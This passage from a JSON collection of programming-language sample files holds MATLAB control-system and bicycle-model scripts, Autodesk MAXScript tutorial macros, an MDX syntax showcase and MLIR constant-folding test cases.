0.2)\n%   4 : 10 / (s + 10)\n%   5 : 5 / (s + 10)\n%   6 : 10 / (s^2 +.2 * s)\n%\n% Option 2\n% --------\n% Yc : transfer function\n%   Yc = percent * Yc1 + (1 - percent) * Yc2, where Yc1 and Yc2 are plants\n%   from the list shown in Option 1.\n\nif size(varargin, 2) > 1\n    if 0 <= varargin{3} & varargin{3} <= 1\n        Yc = parallel(varargin{3} * choose_plant(varargin{1}), ...\n            (1 - varargin{3}) * choose_plant(varargin{2}));\n    else\n        error('Ratio must be between 0 and 1.')\n    end\nelse\n    Yc = choose_plant(varargin{1});\nend\n\nfunction p = choose_plant(num)\nif num == 1;\n    p = tf(1.0, [1.0, 0.0]);\nelseif num == 2;\n    p = tf(1.0, [1.0, 1.0, 0.0]);\nelseif num == 3;\n    p = tf(1.0, [1.0, 0.2, 0.0]);\nelseif num == 4;\n    p = tf(10.0, [1.0, 10.0]);\nelseif num == 5;\n    p = tf(5.0, [1.0, 10.0]);\nelseif num == 6;\n    p = tf(10.0, [1.0, 0.2, 0.0]);\nelse\n    display('Invalid plant number.')\nend\n"
  },
  {
    "path": "samples/MATLAB/test_rk_par.m",
    "content": "clear\nmu=0.1;\nx_0=linspace(-0.8, -0.15, 2)\ny_0=zeros(1,2)\nvx_0=linspace(-2, 2, 2)\nvy_0=zeros(1,2)\nci=[1-mu-0.05 0 0.005 0.5290]\nt0=[0;0]\nT=[2;2]\ntspan=2\narg1={@f;@f}\n%tspan={[0 2],[0 2]};\narg=[mu;mu]\n[X]=arrayfun(RK4_par,t0,T,x_0',y_0',vx_0',vy_0',arg)\n% [X]=arrayfun(@f,[0;1],[ci;ci],[mu;mu]);\n%Y=RK4(@f,tspan,ci,mu);\n% figure\n% plot(Y(:,1),Y(:,2))\n% Y(end,1)"
  },
  {
    "path": "samples/MATLAB/test_system_state_space.m",
    "content": "gains = [76.3808, -0.0516, 7.2456, 0.2632, 0.0708];\nwnm = 30;\nzetanm = 0.707;\n\ndata = generate_data('Rigid', 7.0, 'gains', gains, 'neuroFreq', wnm, ...\n    'loopTransfer', 0, 'handlingQuality', 0, 'simulate', 0);\n\nbicycle = ss(data.modelPar.A, data.modelPar.B, data.modelPar.C, ...\n    data.modelPar.D);\n\nbicycle.StateName = {'xP', 'yP', 'psi', 'phi', 'thetaB', 'thetaR', 'delta', ...\n             'thetaF', 'phiDot', 'thetaRDot', 'deltaDot'};\nbicycle.OutputName = {'xP', 'yP', 'psi', 'phi', 'thetaB', 'thetaR', 'delta', ...\n             'thetaF', 'xPDot', 'yPDot', 'psiDot', 'phiDot', ...\n             'thetaBDot', 'thetaRDot', 'deltaDot', 'thetaFDot', 'xQ', 'yQ'};\nbicycle.InputName = {'tPhi', 'tDelta', 'fB'};\n\ninputs = {'fB'};\noutputs = [bicycle.OutputName; 'tDelta'];\n\nanalytic = system_state_space('lateral', bicycle, gains, [wnm, zetanm], inputs, outputs);\n\nnumeric = ss(data.system.A, data.system.B, data.system.C, data.system.D);\n%numeric.StateName = data.bicycle.states;\n%numeric.InputName = data.bicycle.inputs;\n%numeric.OutputName = data.bicycle.outputs;\n\nfigure()\npzplot(analytic, numeric)\n\n% plot the transfer function roll-rate/lateral force for both\nfigure()\nhold all\n% plot my analytic model\n[num, den] = ss2tf(analytic.A, analytic.B, analytic.C, analytic.D, 1);\nmine = tf(num(find(strcmp('phiDot', outputs)), :), den);\nbode(tf(num(find(strcmp('phiDot', outputs)), :), den))\n% plot the data from the simulink model\nbode(tf(data.forceTF.PhiDot.num, data.forceTF.PhiDot.den))\n[num, den] = ss2tf(numeric.A, numeric.B, numeric.C, numeric.D, 1);\nbode(tf(num(12, :), den))\n\ndisplay('Analytic Eigenvalues')\neig(analytic.A)\ndisplay('Numeric Eigenvalues')\neig(numeric.A)\n\n% Now see if the heading tracking works.\ngains = [76.3808, -0.0516, 7.2456, 0.2632];\nwnm = 30;\nzetanm = 0.707;\n\npar = par_text_to_struct('parameters/RigidPar.txt');\n[A, B, C, D] = whipple_pull_force_ABCD(par, 7.0);\nbicycle = ss(A([3, 4, 7, 9, 11], [3, 4, 7, 9, 11]), ...\n    B([3. 4, 7, 9, 11], [2, 3]), eye(5), 0);\nbicycle.StateName = {'psi', 'phi', 'delta', 'phiDot', 'deltaDot'};\nbicycle.OutputName = {'psi', 'phi', 'delta', 'phiDot', 'deltaDot'};\nbicycle.InputName = {'tDelta', 'fB'};\n\ninputs = {'fB'};\noutputs = [bicycle.OutputName; 'tDelta'];\n\nanalytic = system_state_space('heading', bicycle, gains, [wnm, zetanm], inputs, outputs);\n% the following two should be the same\nanalytic.A(end, :)\nbottomRow = [-wnm^2 * prod(gains), -wnm^2 * prod(gains(1:3)), ...\n    -wnm^2 * gains(1), -wnm^2 * prod(gains(1:2)), 0, -wnm^2, ...\n    -2 * wnm * zetanm]\n"
  },
  {
    "path": "samples/MATLAB/varargin_to_structure.m",
    "content": "function options = varargin_to_structure(arguments)\n% function options = varargin_to_structure(arguments)\n% Returns a structure from a cell array of pairs.\n%\n% Parameters\n% ----------\n% arguments : cell array (1, n)\n%   A cell array where n is an even number greater than or equal to 2. The odd\n%   cells must be a character string and the even cells can be any data type.\n%\n% Returns\n% -------\n% options : structure\n%   The fields of the structure correspond to the odd cells in the array and\n%   the value for that field corresponds to the even cells.\n%\n% This is useful for functions that have varargin as an input where the\n% variable inputs are keyword pairs.\n\n% make sure there are enough arguments\nif length(arguments) <= 1\n    error('Please supply 2 or more arguments')\nend\n\n% make sure they provided and even number of inputs\nif mod(length(arguments), 2) ~= 0\n    error('There must be an even numbers of arguments')\nend\n\n% store the values in the structure\nfor i = 1:2:length(arguments)\n    % make sure they have character strings as all the odd cells\n    if ~ischar(arguments{i})\n        error('The odd arguments must be character strings.')\n    end\n    options.(arguments{i}) = arguments{i + 1};\nend\n"
  },
  {
    "path": "samples/MATLAB/write_gains.m",
    "content": "function write_gains(pathToFile, speeds, gains)\n% function write_gains(pathToFile, speeds, gains)\n%\n% Adds the provided gains to the file.\n%\n% Parameters\n% ----------\n% pathToFile : string\n%   The path to a gain file.\n% speeds : matrix(n, 1)\n% gains : matrix (n, 5)\n%   A matrix of gains where each row corresponds to a speed and the columns\n%   correspond to the loops starting at the innermost loop.\n\ncontents = importdata(pathToFile);\n\nspeedsInFile = contents.data(:, 1);\ngainsInFile = contents.data(:, 2:end);\n\n% remove any speeds that are very close to the speeds provided\nsameSpeedIndices = [];\nfor i = 1:length(speedsInFile)\n    for j = 1:length(speeds)\n        if abs(speedsInFile(i) - speeds(j)) < 1e-3\n            sameSpeedIndices = [sameSpeedIndices i];\n        end\n    end\nend\nspeedsInFile(sameSpeedIndices) = [];\ngainsInFile(sameSpeedIndices, :) = [];\n\n% concatenate data\nallGains = [gainsInFile; gains];\nallSpeeds = [speedsInFile; speeds];\n\n% sort the data\n[allSpeeds, order] = sort(allSpeeds);\nallGains = allGains(order, :);\n\n% recombine\nall = [allSpeeds, allGains];\n\n% rewrite the file\nfid = fopen(pathToFile, 'w');\nh = contents.colheaders;\nfprintf(fid, '%s,%s,%s,%s,%s,%s\\n', h{1}, h{2}, h{3}, h{4}, h{5}, h{6});\nfprintf(fid, '%1.3f,%1.4f,%1.4f,%1.4f,%1.4f,%1.4f\\n', all');\nfclose(fid);\n"
  },
  {
    "path": "samples/MAXScript/macro-1.mcr",
    "content": "-- Taken from an example from Autodesk's MAXScript reference:\n-- http://help.autodesk.com/view/3DSMAX/2016/ENU/?guid=__files_GUID_84E24969_C175_4389_B9A6_3B2699B66785_htm\n\nmacroscript MoveToSurface\n    category: \"HowTo\"\n(\n    fn g_filter o = superclassof o == Geometryclass\n    fn find_intersection z_node node_to_z = (\n        local testRay = ray node_to_z.pos [0,0,-1]\n        local nodeMaxZ = z_node.max.z\n        testRay.pos.z = nodeMaxZ + 0.0001 * abs nodeMaxZ\n        intersectRay z_node testRay\n    )\n    \n    on isEnabled return selection.count > 0\n    \n    on Execute do (\n        target_mesh = pickObject message:\"Pick Target Surface:\" filter:g_filter\n        \n        if isValidNode target_mesh then (\n            undo \"MoveToSurface\" on (\n                for i in selection do (\n                    int_point = find_intersection target_mesh i\n                    if int_point != undefined then i.pos = int_point.pos\n                )--end i loop\n            )--end undo\n        )--end if\n    )--end execute\n)--end script\n"
  },
  {
    "path": "samples/MAXScript/macro-2.mcr",
    "content": "-- Taken from an example from Autodesk's MAXScript reference:\n-- http://help.autodesk.com/view/3DSMAX/2016/ENU/?guid=__files_GUID_0876DF46_FAA3_4131_838D_5739A67FF2C1_htm\n\nmacroscript FreeSpline category:\"HowTo\" tooltip:\"FreeSpline\" (\nlocal old_pos\nlocal new_spline\nlocal second_knot_set\n\nfn get_mouse_pos pen_pos old_pen_pos = (\n\tif old_pos == undefined then old_pos = old_pen_pos\n\tif distance pen_pos old_pos > 10 then\n\t(\n\t\tif second_knot_set then\n\t\t\taddKnot new_spline 1 #smooth #curve pen_pos\n\t\telse\n\t\t(\n\t\t\tsetKnotPoint new_spline 1 2 pen_pos\n\t\t\tsecond_knot_set = true\n\t\t)\n\t\told_pos = pen_pos\n\t\tupdateShape new_spline\n\t)-- end if\n)-- end fn\n\nfn draw_new_line old_pen_pos = (\n\tpickPoint mouseMoveCallback:#(get_mouse_pos,old_pen_pos)\n)\n\nundo\"Free Spline\"on(\n\tnew_spline = splineShape ()\n\told_pen_pos = pickPoint ()\n\t\n\tif old_pen_pos == #RightClick then\n\t\tdelete new_spline\n\telse\n\t(\n\t\tselect new_spline\n\t\tnew_spline.pos = old_pen_pos\n\t\taddNewSpline new_spline\n\t\taddKnot new_spline 1 #smooth #curve old_pen_pos\n\t\taddKnot new_spline 1 #smooth #curve old_pen_pos\n\t\tsecond_knot_set = false\n\t\tdraw_new_line old_pen_pos\n\t\tq = querybox \"Close Spline?\" title:\"Free Spline\"\n\t\tif q then\n\t\t(\n\t\t\tclose new_spline 1\n\t\t\tupdateshape new_spline\n\t\t)\n\t\tselect new_spline\n\t)--end else\n)--end undo\n)--end script\n"
  },
  {
    "path": "samples/MAXScript/rolloutCreator.ms",
    "content": "-------------------------------------------------------------------------------\n--   \n--  File:\t\trolloutCreator.ms\n--  Description:\tLocalization friendly helper struct for dynamically creating rollouts\n--  By:\t\tRavi Karra [Discreet] \t\t\travi.karra@discreet.com\n--\t \n--  Version:\t1.01\n--  Version:\t1.02 - Larry Minton [Discreet] \n--\t\t\t\t\t\tchanged <string1> += <string2> to append string1 string2\n--\t\t\t\t\t\tadded addText method\n--  Declarations:\n/*\n\trolloutCreator <rollout_name> <rollout_caption> [width:] [height:]\n\t\tcreates an instance of rolloutCreator, assign it to a variable\n\t\twidth - width of the rollout/dialog to be created\n\t\theight - of the rollout/dialog to be created\n\t\t\n\t\teg:\n\t \trci = rolloutCreator \"myRollout\" \"My Rollout\"\n\t\t\n\n\t.begin()\n\t\tthis function needs to be called immediately after the instance is created, this does the initialization\n\n\t.addLocal <local_name> [init:]\n\t\t<local_name> \n\t\tname of the local\n\t\t\n\t\t[init:]\n\t\twhat the local should be initialized to\n\t\n\t.addControl <control_type> <control_name> <control_caption> [paramStr:<string>] =\n\t\tadds a control to the rollout\n\t\t\n\t\t<control_type>\n\t\tcan be any of named rolloutControls eg: #button, #spinner, #activeXControl etc\n\t\t\n\t\t<control_name>\n\t\tvariable name of the control by which it is referred eg: #btnButton\n\t\t\n\t\t<control_caption>\n\t\tcaption of the control \"My Button\"\n\t\t\n\t\t[paramStr:]\n\t\tan optional string representation of all the keyword parameters that needs to be passed to the control\n\t\teg: \"width:100 height:20 align:#right\"\n\t\t\n\t\teg:\n\t\trci.addControl #button #myButton \"My Button\"\n\t\n\t.addHandler <control_name> <event_type> [paramStr:<string>]  [codeStr:<string>] [filter:<boolean>]\n\t\tadds an event handler for the controls previously added \n\t\t\n\t\t<control_name>\n\t\tthe variable passed during the control creation\n\t\t \n\t\t<event_type>\n\t\tany of the events supported by the control, eg: #changed, #pressed, #selected\n\t\t\n\t\t[paramStr:<string>]\n\t\tan optional string representation of all the positional and keyword parameters that are passed to the event\t\n\n\t\t[codeStr:<string>]\n\t\ta string representation of the event handler code, if the string contains sub-strings, enclose them in two character '@' \n\t\tand pass on\\true for the filter: parameter\n\n\t\t[filter:<boolean>]\n\t\tif true, converts '@' to quote in codeStr\n\t\t\t\t\n\t\teg:\n\t\trci.addHandler #myButton #pressed codeStr:\"MessageBox @Hey@\" filter:on\n\t\twill add an event handler for button named \"myButton\". When the button is clicked, messagebox pops up with text \"hey\" in it.\n\t\t\n\t.addText <string> [filter:<boolean>]\n\t\tadds string to rollout definition. Typically used for function definitions.\n\n\t\t[filter:<boolean>]\n\t\tif true, converts '@' to quote in string\n\t\t\t\t\n\t.end()\n\t\tthis function has to be called whenever all the required control and their event handler's are called. This function forms \n\t\tthe rollout string, evaluates it and returns the definition which can passed to createDialog and addRollout functions.\n\t\n\tComplete Example:\n\t\t rci = rolloutCreator \"myRollout\" \"My Rollout\"\n\t\t rci.begin()\n\t\t\trci.addControl #button #myButton \"My Button\"\n\t\t\trci.addHandler #myButton #pressed filter:on codeStr:\"MessageBox @Isn't this cool@ title:@Wow@\"\n\t\tcreateDialog (rci.end())\n*/\n-------------------------------------------------------------------------------\n\n\nif __rcCounter == undefined then global __rcCounter = 0\nstruct rolloutCreator\n(\n\t-- variables\n\tname, caption, str, def, width, height, quote=\"\\\"\",\n\t\n\t-- functions\n\tfn begin = \n( \n\t\tif name == undefined then\n\t(\n\t\t\t__rcCounter += 1\n\t\t\tname = \"rolloutCreator\" + __rcCounter as string\n\t)\n\t\tif caption == undefined then caption = \"\"\n\t\tstr = \"\"\n\t),\n\t\n\tfn addLocal name init: = \n(\n\t\tlocal dStr = \"\\tlocal \" + name as string\n\t\tif init != unsupplied then append dStr (\" = \" + init as string)\n\t\tappend dStr \"\\n\"\n\t\tappend str dStr\n\t),\n\n\tfn addControl type name caption paramStr:\"\" =\n(\t\n\t\tappend str (\"\\t\" + type as string + \" \" + name as string + \" \" + quote + caption + quote + paramStr + \"\\n\")\n\t),\n\t\n\tfn strFilter codeStr =\n(\n\t\t\tlocal last_is_at = codeStr[codeStr.count] == \"@\"\n\t\t\tlocal fltStr = filterString codeStr \"@\"\n\t\t\tlocal rep = \"\\\"\"\n\t\t\tcodeStr = (if (codeStr[1] == \"@\") then rep else \"\") + fltStr[1]\n\t\t\tfor i=2 to fltStr.count do\n\t\t(\n\t\t\t\tappend codeStr (rep + fltStr[i])\n\t\t)\n\t\t\tif last_is_at then append codeStr rep\n\t\t\tcodeStr\n\t),\n\n\tfn addHandler ctrl event paramStr:\"\" filter:on codeStr:\"\" =\n(\n\t\tif filter do codeStr = (strFilter codeStr)\n\t\tappend str (\"\\non \" + ctrl as string + \" \" + event as string + \" \" + paramStr as string + \" do \\n(\\n\" + codeStr + \";ok\\n)\\n\")\n\t),\n\t\n\tfn addText txt filter:on =\n(\n\t\tif filter do txt = (strFilter txt )\n\t\tappend str (\"\\t \" + txt + \"\\n\")\n\t),\n\t\n\tfn end = \n( \n\t\tlocal dStr = \"rollout \" + name + \" \" + quote + caption + quote\n\t\tif width != undefined then\n \t\t\tappend dStr (\" width:\" + width as string)\n\t\tif height != undefined then\n\t\t\tappend dStr (\" height:\" + height as string)\n\t\tappend dStr \"\\n(\\n\" \n\t\tappend dStr str\n\t\tappend dStr \"\\n)\\n\"\n\t\tstr = dStr\n\t\tdef = execute str\n)\n)\n\n/*-- Usage\n-- Create an instance of the rolloutCreator passing the name and the caption\nrfTest = rolloutCreator \"rfTestN\" \"rfTestC\" --width:300 height:100\n-- Start creating the rollout\nrfTest.begin()\n\trfTest.addControl #button #myButton \"My Button\"\t\t\t-- add a button\n--\trfTest.addHandler #myButton #pressed filter:on codeStr:\"MessageBox @Hey@\"\nrfTest.addHandler #myButton #pressed filter:on codeStr:\"MessageBox @Look to the \\@Light\\@ thing@\" \nrfTest.end()\ncreateDialog rfTest.def\n*/"
  },
  {
    "path": "samples/MAXScript/svg-renderer.ms",
    "content": "-- Taken from a 3-part tutorial from Autodesk's MAXScript reference\n-- Source: http://help.autodesk.com/view/3DSMAX/2016/ENU/?guid=__files_GUID_6B5EDC11_A154_4AA7_A972_A11AC36949E9_htm\n\nfn ColourToHex col = (\n\tlocal theComponents = #(bit.intAsHex col.r, bit.intAsHex col.g, bit.intAsHex col.b)\n\tlocal theValue = \"#\"\n\tfor i in theComponents do \n\t\ttheValue += (if i.count == 1 then \"0\" else \"\") + i\n\ttheValue\n)\n\nlocal st = timestamp()\nlocal theFileName = (getDir #userscripts + \"\\\\PolygonRendering3.svg\")\nlocal theSVGfile = createFile theFileName\nformat \"<svg xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n\" to:theSVGfile\nformat \"\\t\\txmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\">\\n\" to:theSVGfile\n\nlocal theViewTM =  viewport.getTM()\ntheViewTM.row4 = [0,0,0]\n\nlocal theViewTM2 = viewport.getTM()\nlocal theViewSize = getViewSize()\nlocal theViewScale = getViewSize()\ntheViewScale.x /= 1024.0\ntheViewScale.y /= 1024.0\n\t\nlocal theStrokeThickness = 3\n\t\ngw.setTransform (matrix3 1)\t\nfor o in Geometry where not o.isHiddenInVpt and classof o != TargetObject do (\n\tlocal theStrokeColour = white\n\tlocal theFillColour = o.wirecolor\n\t\n\tlocal theMesh = snapshotAsMesh o\n\tfor f = 1 to theMesh.numfaces do (\n\t\tlocal theNormal = normalize (getFaceNormal theMesh f)\n\t\t\n\t\tif (theNormal*theViewTM).z > 0 do\n\t\t(\n\t\t\tlocal theFace = getFace theMesh f\n\t\t\tlocal v1 = gw.transPoint (getVert theMesh theFace.x)\n\t\t\tlocal v2 = gw.transPoint (getVert theMesh theFace.y)\n\t\t\tlocal v3 = gw.transPoint (getVert theMesh theFace.z)\n\t\t\t\n\t\t\tv1.x /= theViewScale.x \n\t\t\tv1.y /= theViewScale.y \n\t\t\tv2.x /= theViewScale.x \n\t\t\tv2.y /= theViewScale.y\n\t\t\tv3.x /= theViewScale.x\n\t\t\tv3.y /= theViewScale.y\n\t\t\t\n\t\t\tformat \"\\t<polygon points='%,%  %,%  %,%' \\n\" v1.x v1.y v2.x v2.y v3.x v3.y to:theSVGfile\n\t\t\tformat \"\\tstyle='stroke:%; fill:%; stroke-width:%'/>\\n\" (ColourToHex theStrokeColour) (ColourToHex theFillColour) theStrokeThickness to:theSVGfile\t\t\t\n\t\t)--end if normal positive\n\t)--end f loop\n)--end o loop\n\nformat \"</svg>\\n\" to:theSVGfile\nclose theSVGfile\nlocal theSVGMap = VectorMap vectorFile:theFileName alphasource:0\nlocal theBitmap = bitmap theViewSize.x theViewSize.y\nrenderMap theSVGMap into:theBitmap filter:true\ndisplay theBitmap\nformat \"Render Time: % sec.\\n\" ((timestamp()-st)/1000.0)\n"
  },
  {
    "path": "samples/MAXScript/volume-calc.ms",
    "content": "fn CalculateVolumeAndCentreOfMass obj =\n(\n\tlocal Volume= 0.0\n\tlocal Centre= [0.0, 0.0, 0.0]\n\tlocal theMesh = snapshotasmesh obj\n\tlocal numFaces = theMesh.numfaces\n\tfor i = 1 to numFaces do\n\t(\n\t\tlocal Face= getFace theMesh i\n\t\tlocal vert2 = getVert theMesh Face.z\n\t\tlocal vert1 = getVert theMesh Face.y\n\t\tlocal vert0 = getVert theMesh Face.x\n\t\tlocal dV = Dot (Cross (vert1 - vert0) (vert2 - vert0)) vert0\n\t\tVolume+= dV\n\t\tCentre+= (vert0 + vert1 + vert2) * dV\n\t)\n\tdelete theMesh\n\tVolume /= 6\n\tCentre /= 24\n\tCentre /= Volume\n\t#(Volume,Centre)\n)\n"
  },
  {
    "path": "samples/MDX/sample.mdx",
    "content": "---\ntitle: Hello!\n---\n\n# Last year’s snowfall\n\nIn {year}, the snowfall was above average.\nIt was followed by a warm spring which caused\nflood conditions in many of the nearby rivers.\n\n# Extension: ESM\n\nimport {Chart} from './chart.js'\nimport population from './population.js'\nimport {External} from './some/place.js'\n\nexport const year = 2018\nexport const pi = 3.14\n\nexport function SomeComponent(props) {\n  const name = (props || {}).name || 'world'\n\n  return <div>\n    <p>Hi, {name}!</p>\n\n    <p>and some more things</p>\n  </div>\n}\n\nexport function Local(props) {\n  return <span style={{color: 'red'}} {...props} />\n}\n\n## Extension: jsx tags\n\n<Chart year={year} color=\"#fcb32c\" />\n\n<div className=\"note\">\n  > Some notable things in a block quote!\n</div>\n\n<Component\n  open\n  x={1}\n  label={'this is a string, *not* markdown!'}\n  icon={<Icon />}\n/>\n\n## Extension: expressions\n\nTwo 🍰 is: {Math.PI * 2}\n\n{(function () {\n  const guess = Math.random()\n\n  if (guess > 0.66) {\n    return <span style={{color: 'tomato'}}>Look at us.</span>\n  }\n\n  if (guess > 0.33) {\n    return <span style={{color: 'violet'}}>Who would have guessed?!</span>\n  }\n\n  return <span style={{color: 'goldenrod'}}>Not me.</span>\n})()}\n\n{/* A comment! */}\n\nAttention (emphasis): *hi* / _hi_\nAttention (strong): **hi** / __hi__\nAttention (strong & emphasis): ***hi*** / ___hi___.\nAttention (strikethrough): ~hi~ ~~hi~~.\nCharacter escape: \\-, \\&.\nCharacter reference: &amp; &#123; &#x123;.\nCode (text): `hi` and `` ` ``.\nLabel end (resource): [a](https://example&dot;com 'title').\nLabel end (reference, full): [a][b].\nLabel end (reference, collapsed, shortcut): [a][], [a].\n\n## Definitions\n\n[a]: <https://example\\.com> \"b\"\n[a]: https://example&dot;com 'b'\n[a]: # (b\\&c)\n[a&amp;b]: <>\n\n## Heading (setext)\n\nalpha\n=====\n\n*bravo\ncharlie*\n--------\n\n## Heading (atx)\n#\n## A ##\n### B\n#### C\n##### D\n###### E\n####### ?\n\n## Thematic break\n\n***\n\n## Code (fenced)\n\n````markdown\n```css\nem { color: red } /* What! */\n```\n````\n\n~~~js eval\nalert(true + 2 + '3')\n~~~\n\n## Block quote\n\n> # asd\n\n> **asd\nqwe**\n\n> ~~~js\n> console.log(1)\n> ~~~\n\n## List\n\n1. # asd\n\n* **asd\nqwe**\n\n* ~~~js\n  console.log('hi!')\n  ~~~\n\n123456789.    ```js\n              asd + 123\n\n## Extension: math\n\nMath (text): $$hi$$ and $$ $ $$.\nMath (flow):\n\n$$\nL = \\frac{1}{2} \\rho v^2 S C_L\n$$\n\n## Extension: GFM autolink literals\n\na a@b.com/ (\"aasd@example.com\") mailto:a+b@c.com xmpp:a+b@c.com.\n\na www.example.com/a(b) www.example.com/a(b(c)), wWw.example.com/a(b(c(d))).\n\nahttps://example.com https://example.com/a(b) hTTp://example.com/a(b(c(d))).\n\n## Extension: GFM footnotes\n\na[^b], [^c d].\n\n[^b]: *Lorem\n    dolor*.\n\n[^b]:\n    ??\n\n[^b]: ~~~js\n    console.log(1)\n    ~~~\n\n## Extension: GFM task list\n\n*  [ ] not done\n1. [x] done\n\n## Extension: GFM table\n\n| Stuff? | stuff! |\n| - | ----- |\n| asdasda | https://example.com |\nwhat&not; | qweeeeeeeeeee\n\n## Extension: GitHub gemoji\n\n:+1: :100:\n\n## Extension: GitHub mention\n\n@username @org/team.\n\n## Extension: GitHub reference\n\nGH-123, #123, GHSA-123asdzxc, cve-123asdzxc, user#123, user/project#123.\n"
  },
  {
    "path": "samples/MLIR/const-fold.mlir",
    "content": "// RUN: tf-opt %s -test-constant-fold | FileCheck %s --dump-input-on-failure\n\n// CHECK-LABEL: @add_float\nfunc @add_float() -> (tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>) {\n  %0 = constant dense<4.5> : tensor<f32>\n  %1 = constant dense<1.5> : tensor<f32>\n\n  %2 = constant dense< 3.5> : tensor<4xf32>\n  %3 = constant dense<-0.5> : tensor<4xf32>\n\n  // CHECK: %cst = constant dense<3.500000e+00> : tensor<4xf32>\n  // CHECK: %cst_0 = constant dense<-5.000000e-01> : tensor<4xf32>\n  // CHECK: %cst_1 = constant dense<6.000000e+00> : tensor<f32>\n  // CHECK: %cst_2 = constant dense<4.000000e+00> : tensor<4xf32>\n  // CHECK: %cst_3 = constant dense<5.000000e+00> : tensor<4xf32>\n  // CHECK: %cst_4 = constant dense<3.000000e+00> : tensor<4xf32>\n  // CHECK: %0 = tfl.add %cst, %cst_0 {fused_activation_function = \"SIGN_BIT\"} : tensor<4xf32>\n\n  %5 = \"tfl.add\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<  f32>, tensor<  f32>) -> tensor<  f32>\n  %6 = \"tfl.add\"(%0, %3) {fused_activation_function = \"NONE\"} : (tensor<  f32>, tensor<4xf32>) -> tensor<4xf32>\n  %7 = \"tfl.add\"(%2, %1) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<  f32>) -> tensor<4xf32>\n  %8 = \"tfl.add\"(%2, %3) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>\n  %9 = \"tfl.add\"(%2, %3) {fused_activation_function = \"SIGN_BIT\"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>\n\n  return %5, %6, %7, %8, %9 : tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>\n}\n\n// CHECK-LABEL: @add_int\nfunc @add_int() -> (tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>) {\n  %0 = constant dense<8> : tensor<i32>\n  %1 = constant dense<1> : tensor<i32>\n\n  %2 = constant dense< 4> : tensor<4xi32>\n  %3 = constant dense<-2> : tensor<4xi32>\n\n  // CHECK: %cst = constant dense<9> : tensor<i32>\n  // CHECK: %cst_0 = constant dense<6> : tensor<4xi32>\n  // CHECK: %cst_1 = constant dense<5> : tensor<4xi32>\n  // CHECK: %cst_2 = constant dense<2> : tensor<4xi32>\n\n  %5 = \"tfl.add\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<  i32>, tensor<  i32>) -> tensor<  i32>\n  %6 = \"tfl.add\"(%0, %3) {fused_activation_function = \"NONE\"} : (tensor<  i32>, tensor<4xi32>) -> tensor<4xi32>\n  %7 = \"tfl.add\"(%2, %1) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<  i32>) -> tensor<4xi32>\n  %8 = \"tfl.add\"(%2, %3) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>\n\n  return %5, %6, %7, %8 : tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>\n}\n\n// CHECK-LABEL: @sub_float\nfunc @sub_float() -> (tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>) {\n  %0 = constant dense<4.5> : tensor<f32>\n  %1 = constant dense<1.5> : tensor<f32>\n\n  %2 = constant dense< 3.5> : tensor<4xf32>\n  %3 = constant dense<-0.5> : tensor<4xf32>\n\n  // CHECK: %cst = constant dense<3.000000e+00> : tensor<f32>\n  // CHECK: %cst_0 = constant dense<5.000000e+00> : tensor<4xf32>\n  // CHECK: %cst_1 = constant dense<2.000000e+00> : tensor<4xf32>\n  // CHECK: %cst_2 = constant dense<4.000000e+00> : tensor<4xf32>\n\n  %5 = \"tfl.sub\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<  f32>, tensor<  f32>) -> tensor<  f32>\n  %6 = \"tfl.sub\"(%0, %3) {fused_activation_function = \"NONE\"} : (tensor<  f32>, tensor<4xf32>) -> tensor<4xf32>\n  %7 = \"tfl.sub\"(%2, %1) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<  f32>) -> tensor<4xf32>\n  %8 = \"tfl.sub\"(%2, %3) {fused_activation_function = \"NONE\"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>\n\n  return %5, %6, %7, %8 : tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>\n}\n\n// CHECK-LABEL: @sub_int\nfunc @sub_int() -> (tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>) {\n  %0 = constant dense<8> : tensor<i32>\n  %1 = constant dense<1> : tensor<i32>\n\n  %2 = constant dense< 4> : tensor<4xi32>\n  %3 = constant dense<-2> : tensor<4xi32>\n\n  // CHECK: %cst = constant dense<7> : tensor<i32>\n  // CHECK: %cst_0 = constant dense<10> : tensor<4xi32>\n  // CHECK: %cst_1 = constant dense<3> : tensor<4xi32>\n  // CHECK: %cst_2 = constant dense<6> : tensor<4xi32>\n\n  %5 = \"tfl.sub\"(%0, %1) {fused_activation_function = \"NONE\"} : (tensor<  i32>, tensor<  i32>) -> tensor<  i32>\n  %6 = \"tfl.sub\"(%0, %3) {fused_activation_function = \"NONE\"} : (tensor<  i32>, tensor<4xi32>) -> tensor<4xi32>\n  %7 = \"tfl.sub\"(%2, %1) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<  i32>) -> tensor<4xi32>\n  %8 = \"tfl.sub\"(%2, %3) {fused_activation_function = \"NONE\"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>\n\n  return %5, %6, %7, %8 : tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>\n}\n\n// CHECK-LABEL: @mul_float\nfunc @mul_float() -> (tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>) {\n  %0 = constant dense<4.5> : tensor<f32>\n  %1 = constant dense<1.5> : tensor<f32>\n\n  %2 = constant dense< 3.5> : tensor<4xf32>\n  %3 = constant dense<-0.5> : tensor<4xf32>\n\n  // CHECK: %cst = constant dense<6.750000e+00> : tensor<f32>\n  // CHECK: %cst_0 = constant dense<-2.250000e+00> : tensor<4xf32>\n  // CHECK: %cst_1 = constant dense<5.250000e+00> : tensor<4xf32>\n  // CHECK: %cst_2 = constant 